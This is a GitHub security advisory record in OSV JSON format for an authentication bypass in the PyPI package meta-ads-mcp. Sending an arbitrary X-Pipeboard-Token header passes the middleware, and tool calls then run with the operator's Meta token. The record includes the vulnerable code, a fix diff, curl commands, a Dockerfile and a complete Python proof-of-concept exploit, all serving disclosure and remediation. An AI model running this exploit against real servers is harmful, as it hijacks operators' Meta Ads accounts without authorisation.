1 line
22 KiB
JSON
1 line
22 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-2v2f-mvfg-ph56","published":"2026-07-17T18:48:54Z","modified":"2026-07-23T15:11:27.804572936Z","aliases":["CVE-2026-54547","PYSEC-2026-3484"],"summary":"meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token","details":"## X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\n### Summary\n\n`AuthInjectionMiddleware` in `meta-ads-mcp` rejects HTTP MCP requests only when **both** `auth_token` and `pipeboard_token` are absent. Because `extract_token_from_headers()` does not recognise the `X-Pipeboard-Token` header, an attacker who sends that header with any arbitrary value produces `auth_token = None` and `pipeboard_token = <attacker value>`, making the guard condition evaluate to `False` and passing the request through. No authentication context is set; the token getter falls back to the server operator's `META_ACCESS_TOKEN` environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.\n\n### Details\n\nThe vulnerable condition is at `meta_ads_mcp/core/http_auth_integration.py:259`:\n\n```python\n# http_auth_integration.py:255-260\nauth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))\npipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))\n\nif not auth_token and not pipeboard_token: # ← bypass condition\n return Response(..., status_code=401)\n```\n\n`extract_token_from_headers()` (lines 77–95) recognises only `Authorization: Bearer`, `X-META-ACCESS-TOKEN`, and `X-PIPEBOARD-API-TOKEN`. It does **not** recognise `X-Pipeboard-Token`, so that header never populates `auth_token`.\n\n`extract_pipeboard_token_from_headers()` (line 108) **does** recognise `X-Pipeboard-Token`, so sending that header alone produces:\n\n```\nauth_token = None # not set → guard reads False for left operand\npipeboard_token = \"<anything>\" # truthy → guard reads False for right operand\n→ (not None) and (not \"<anything>\") = True and False = False → 401 never returned\n```\n\nAfter the bypass, `set_auth_token()` is never called (lines 283–291 only run when `auth_token` is truthy). The patched token getter at lines 163–168 resolves `get_auth_token() = None`, then delegates to `original_get_current_access_token()`. The fallback chain in `auth.py:446–453` returns `META_ACCESS_TOKEN` from the server environment:\n\n```python\n# auth.py:443-453\nenv_token = os.environ.get(\"META_ACCESS_TOKEN\")\nif env_token:\n return env_token\n```\n\n`@meta_api_tool` at `api.py:390–396` injects this operator token into every tool's `access_token` kwarg. The sink at `api.py:225–235` forwards it to the Meta Graph API via `httpx.AsyncClient`. Verified with `accounts.py:42–62` (`get_ad_accounts`): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an `OAuthException`, confirming the token traversed the full path.\n\nFull data flow:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `http_auth_integration.py:255–257` | Middleware extracts attacker-controlled headers |\n| 2 | `http_auth_integration.py:259` | Bypass: `X-Pipeboard-Token` alone satisfies guard |\n| 3 | `http_auth_integration.py:288–291` | `auth_token` is `None`; auth context never set |\n| 4 | `http_auth_integration.py:163–168` | Token getter falls back to original accessor |\n| 5 | `auth.py:446–453` | `META_ACCESS_TOKEN` env var returned as access token |\n| 6 | `api.py:390–396` | Operator token injected into tool kwargs |\n| 7 | `accounts.py:42–62` | Tool invokes Meta Graph API with operator token |\n| 8 | `api.py:225–235` | `httpx.AsyncClient` sends privileged HTTP request |\n\n**Recommended fix:**\n\n```diff\n--- a/meta_ads_mcp/core/http_auth_integration.py\n+++ b/meta_ads_mcp/core/http_auth_integration.py\n- if not auth_token and not pipeboard_token:\n+ if not auth_token:\n```\n\n`X-Pipeboard-Token` should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed and the `meta-ads-mcp` repository available locally.\n- The server must be started in `streamable-http` mode (documented in `STREAMABLE_HTTP_SETUP.md` as a supported production deployment).\n\n**Step 1 — Build the Docker image**\n\n```bash\ndocker build \\\n -t vuln001-meta-ads-mcp \\\n -f /path/to/vuln-001/Dockerfile \\\n /path/to/meta-ads-mcp-repo/\n```\n\nThe `Dockerfile` installs the package from source, sets `META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890`, and starts the server on port 8080.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp\n```\n\n**Step 3 — Confirm the middleware is active (no-auth → 401)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 401 {\"error\":\"Unauthorized\",...}\n```\n\n**Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 200 {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}} (37 tools listed)\n```\n\n**Step 5 — Confirm operator token is forwarded to Meta Graph API**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"get_ad_accounts\",\"arguments\":{\"limit\":1}}}'\n# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN\n# was forwarded to Meta. With a real operator token, ad account data is returned.\n```\n\n**Automated PoC script**\n\n```bash\npython3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp\n```\n\nThe script performs Tests 1–3 and prints `RESULT: PASS — VULN-001 reproduced` on success.\n\n**Observed output (dynamic reproduction)**\n\n```\nTest 1 (no auth header) → HTTP 401 {\"error\":\"Unauthorized\",...}\nTest 2 (X-Pipeboard-Token only) → HTTP 200 {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}} (37 tools)\nTest 3 (tools/call, same header)→ HTTP 200 {\"error\":{\"message\":\"Invalid OAuth access token data.\",\"type\":\"OAuthException\",\"code\":190}}\n```\n\nTest 3 confirms that `FAKE_OPERATOR_META_TOKEN` was sent to Meta Graph API, proving the full operator-token reuse path.\n\n### Impact\n\nThis is an **authentication bypass** vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary `X-Pipeboard-Token` header can:\n\n- **Read** all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).\n- **Write** Meta Ads resources (create/update campaigns, ads, budgets) as the operator.\n- **Exfiltrate the operator's identity** via Meta Graph API error responses that reference the token.\n\nOperators who deploy `meta-ads-mcp` in `--transport streamable-http` mode with `META_ACCESS_TOKEN` configured — the documented and recommended production setup — are directly affected. Deployments using the default `stdio` transport or those without `META_ACCESS_TOKEN` set are not affected.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)\n# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.\n# The server enforces auth via AuthInjectionMiddleware, but the bypass allows\n# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,\n# which then fall back to the operator's META_ACCESS_TOKEN.\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install system dependencies\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n curl \\\n && rm -rf /var/lib/apt/lists/*\n\n# Copy repository source (build context must be the repo root)\nCOPY . /app\n\n# Install the package and its dependencies\nRUN pip install --no-cache-dir -e .\n\n# Fake operator token: length >= 20 so the server's basic validation passes.\n# This is NOT a real Meta token — used only to prove the bypass path\n# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).\nENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890\nENV META_APP_ID=999999999999999\n\n# Disable any browser-launch attempts during startup\nENV DISPLAY=\n\nEXPOSE 8080\n\n# Start the MCP server with streamable-http transport.\n# --host 0.0.0.0 is required so the container port is reachable from the host.\nCMD [\"python\", \"-m\", \"meta_ads_mcp\", \\\n \"--transport\", \"streamable-http\", \\\n \"--host\", \"0.0.0.0\", \\\n \"--port\", \"8080\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\nCVE class : CWE-287 Improper Authentication\nPackage : meta-ads-mcp 1.0.113\nFile : meta_ads_mcp/core/http_auth_integration.py:259\n\nVulnerability summary\n---------------------\nAuthInjectionMiddleware rejects requests only when BOTH auth_token AND\npipeboard_token are absent (line 259):\n if not auth_token and not pipeboard_token:\n return Response(status_code=401)\n\nextract_token_from_headers() (lines 77-95) does NOT recognise the\n\"X-Pipeboard-Token\" header — only \"Authorization: Bearer\",\n\"X-META-ACCESS-TOKEN\", and \"X-PIPEBOARD-API-TOKEN\".\n\nextract_pipeboard_token_from_headers() (line 108) DOES recognise\n\"X-Pipeboard-Token\".\n\nConsequence: an attacker that sends only \"X-Pipeboard-Token: <anything>\"\nmakes auth_token=None and pipeboard_token=\"<anything>\". The bypass\ncondition becomes:\n if not None and not \"<anything>\": # False — request passes\nNo auth context is set; the token getter (http_auth_integration.py:163-168)\nfalls back to get_current_access_token() in auth.py which returns the server\noperator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the\noperator.\n\nExpected evidence\n-----------------\nTest 1 No auth header → HTTP 401 from middleware\nTest 2 X-Pipeboard-Token: <attacker value> → HTTP != 401 from MCP layer\n (proves bypass; further tool calls use operator token)\n\nUsage\n-----\nThe MCP server must already be running and reachable at 127.0.0.1:8080.\n docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp\n python3 poc.py\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp\nimport os as _os\n\n_DEFAULT_URL = \"http://127.0.0.1:8080/mcp\"\nSERVER_URL = (\n sys.argv[1] if len(sys.argv) > 1 else _os.environ.get(\"MCP_SERVER_URL\", _DEFAULT_URL)\n)\n# Arbitrary attacker-controlled value — NOT validated by the server\nATTACKER_PIPEBOARD_TOKEN = \"attacker-controlled-not-validated-xyz1234567890\"\nSERVER_READY_TIMEOUT = 90 # seconds\n# ---------------------------------------------------------------------------\n\n\ndef http_post(url: str, headers: dict, body: dict) -> tuple:\n \"\"\"Send a JSON-encoded POST request; return (http_status, response_text).\"\"\"\n data = json.dumps(body).encode()\n req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=10) as resp:\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n except urllib.error.HTTPError as exc:\n return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n except Exception as exc:\n return None, str(exc)\n\n\ndef wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -> bool:\n \"\"\"\n Poll until the server returns any HTTP response (even 401).\n Returns True when ready, False on timeout.\n \"\"\"\n deadline = time.time() + timeout\n attempt = 0\n while time.time() < deadline:\n status, _ = http_post(\n SERVER_URL,\n {\"Content-Type\": \"application/json\"},\n {\"jsonrpc\": \"2.0\", \"id\": 0, \"method\": \"ping\"},\n )\n if status is not None:\n return True\n attempt += 1\n if attempt % 5 == 0:\n elapsed = int(time.time() - (deadline - timeout))\n print(f\" ... still waiting ({elapsed}s elapsed)\")\n time.sleep(1)\n return False\n\n\ndef run_test(label: str, headers: dict, payload: dict) -> tuple:\n \"\"\"Run one request, print result, and return (status, body).\"\"\"\n print(f\"\\n[*] {label}\")\n status, body = http_post(SERVER_URL, headers, payload)\n print(f\" HTTP Status : {status}\")\n # Print up to 600 chars so long MCP responses are readable\n print(f\" Response : {body[:600]}\")\n return status, body\n\n\ndef main() -> int:\n print(\"=\" * 65)\n print(\"VULN-001 PoC: X-Pipeboard-Token Auth Bypass\")\n print(\"meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication\")\n print(\"=\" * 65)\n\n # -----------------------------------------------------------------------\n print(\"\\n[*] Waiting for MCP server to be ready ...\")\n if not wait_for_server():\n print(f\"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s\")\n return 2\n print(\"[+] Server is ready\")\n\n # Common headers for all requests\n base_headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n }\n\n # A minimal MCP JSON-RPC payload. In stateless-HTTP mode the server\n # processes each request independently; tools/list does not require a\n # prior initialize handshake.\n list_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/list\",\n \"params\": {},\n }\n\n # -----------------------------------------------------------------------\n # Test 1: No authentication — must be rejected with 401\n # -----------------------------------------------------------------------\n status1, body1 = run_test(\n \"Test 1: POST /mcp — no auth header at all\",\n base_headers,\n list_payload,\n )\n\n if status1 != 401:\n print(f\"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}\")\n print(\" Middleware may not be active. Cannot assess bypass.\")\n return 2\n\n try:\n parsed = json.loads(body1)\n if parsed.get(\"error\") != \"Unauthorized\":\n print(\"[-] UNEXPECTED body (expected {\\\"error\\\": \\\"Unauthorized\\\"})\")\n return 2\n except json.JSONDecodeError:\n pass # Body format is secondary evidence\n\n print(\"[+] CONFIRMED: No-auth request correctly rejected with HTTP 401\")\n\n # -----------------------------------------------------------------------\n # Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works\n #\n # Vulnerability logic (http_auth_integration.py:259):\n # auth_token = extract_token_from_headers(headers) -> None\n # pipeboard_token = extract_pipeboard_token_from_headers(headers) -> ATTACKER_VALUE\n # if not None and not ATTACKER_VALUE: # evaluates False -> request passes\n # # set_auth_token() never called -> auth context stays None\n # # tool getter falls back to META_ACCESS_TOKEN env var\n # -----------------------------------------------------------------------\n bypass_headers = {\n **base_headers,\n \"X-Pipeboard-Token\": ATTACKER_PIPEBOARD_TOKEN,\n }\n status2, body2 = run_test(\n f\"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}\",\n bypass_headers,\n list_payload,\n )\n\n if status2 == 401:\n print(\"\\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.\")\n print(\" The vulnerability may have been patched on this build.\")\n return 1\n\n print(f\"\\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)\")\n print(\" The middleware accepted the request with X-Pipeboard-Token alone.\")\n print(\" auth_token was None -> set_auth_token() not called ->\")\n print(\" get_auth_token() returns None -> META_ACCESS_TOKEN fallback active.\")\n\n # Extra detail: check if we can see MCP tool names in the response\n try:\n parsed2 = json.loads(body2)\n tools = parsed2.get(\"result\", {}).get(\"tools\", [])\n if tools:\n print(f\"\\n MCP tools/list returned {len(tools)} tools (server fully reachable):\")\n for t in tools[:5]:\n print(f\" - {t.get('name', '?')}\")\n except Exception:\n pass\n\n # -----------------------------------------------------------------------\n # Test 3: tools/call get_ad_accounts — operator token forwarded to Meta\n # The Meta Graph API will reject the FAKE token, but the error response\n # proves the request reached Meta (not the local 401 guard).\n # -----------------------------------------------------------------------\n call_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"get_ad_accounts\",\n \"arguments\": {\"limit\": 1},\n },\n }\n status3, body3 = run_test(\n \"Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only\",\n bypass_headers,\n call_payload,\n )\n\n if status3 != 401:\n print(f\"\\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}\")\n print(\" The tool call was not blocked locally. The server forwarded\")\n print(\" the request to Meta Graph API using META_ACCESS_TOKEN.\")\n if \"OAuthException\" in body3 or \"Invalid OAuth\" in body3:\n print(\" Meta Graph API returned an OAuthException about the\")\n print(\" FAKE_OPERATOR_META_TOKEN — confirming the token was forwarded.\")\n elif \"error\" in body3.lower():\n print(\" Meta Graph API (or MCP layer) returned an error response\")\n print(\" — the request reached the tool handler, not the local 401 guard.\")\n else:\n print(\"[!] Note: tools/call returned 401 — may need MCP initialize first\")\n\n # -----------------------------------------------------------------------\n print(\"\\n\" + \"=\" * 65)\n print(\"RESULT: PASS — VULN-001 reproduced\")\n print()\n print(\"Evidence:\")\n print(f\" Test 1 (no header) -> HTTP {status1} (blocked by middleware)\")\n print(f\" Test 2 (X-Pipeboard-Token) -> HTTP {status2} (BYPASSES middleware)\")\n print()\n print(\"The distinction proves that AuthInjectionMiddleware at\")\n print(\"http_auth_integration.py:259 is the exploitable boundary.\")\n print(\"An attacker can reach all MCP tools as the server operator by\")\n print('sending any value in the \"X-Pipeboard-Token\" header.')\n print(\"=\" * 65)\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```","affected":[{"package":{"name":"meta-ads-mcp","ecosystem":"PyPI","purl":"pkg:pypi/meta-ads-mcp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.115"}]}],"versions":["0.1.0","0.10.0","0.10.1","0.10.2","0.10.5","0.10.6","0.10.7","0.10.9","0.11.0","0.11.1","0.11.2","0.11.3","0.11.4","0.11.5","0.11.6","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.8","0.2.9","0.3.0","0.3.1","0.3.10","0.3.2","0.3.3","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.6.0","0.7.0","0.7.1","0.7.10","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.0.1","1.0.10","1.0.100","1.0.101","1.0.102","1.0.103","1.0.104","1.0.105","1.0.106","1.0.107","1.0.108","1.0.109","1.0.11","1.0.110","1.0.111","1.0.112","1.0.113","1.0.12","1.0.13","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.23","1.0.24","1.0.25","1.0.26","1.0.27","1.0.28","1.0.29","1.0.3","1.0.30","1.0.31","1.0.33","1.0.34","1.0.35","1.0.36","1.0.38","1.0.39","1.0.4","1.0.40","1.0.41","1.0.42","1.0.43","1.0.44","1.0.45","1.0.46","1.0.47","1.0.48","1.0.49","1.0.5","1.0.50","1.0.51","1.0.52","1.0.53","1.0.54","1.0.55","1.0.56","1.0.57","1.0.58","1.0.59","1.0.6","1.0.60","1.0.61","1.0.62","1.0.63","1.0.64","1.0.65","1.0.66","1.0.67","1.0.68","1.0.69","1.0.7","1.0.70","1.0.71","1.0.72","1.0.73","1.0.74","1.0.75","1.0.76","1.0.77","1.0.78","1.0.79","1.0.8","1.0.80","1.0.81","1.0.82","1.0.83","1.0.84","1.0.85","1.0.86","1.0.87","1.0.88","1.0.89","1.0.90","1.0.91","1.0.92","1.0.93","1.0.94","1.0.95","1.0.96","1.0.97","1.0.98","1.0.99"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-2v2f-mvfg-ph56/GHSA-2v2f-mvfg-ph56.json"}}],"references":[{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-2v2f-mvfg-ph56"},{"type":"PACKAGE","url":"https://github.com/pipeboard-co/meta-ads-mcp"},{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"}],"database_specific":{"cwe_ids":["CWE-287"],"github_reviewed":true,"github_reviewed_at":"2026-07-17T18:48:54Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"}]} |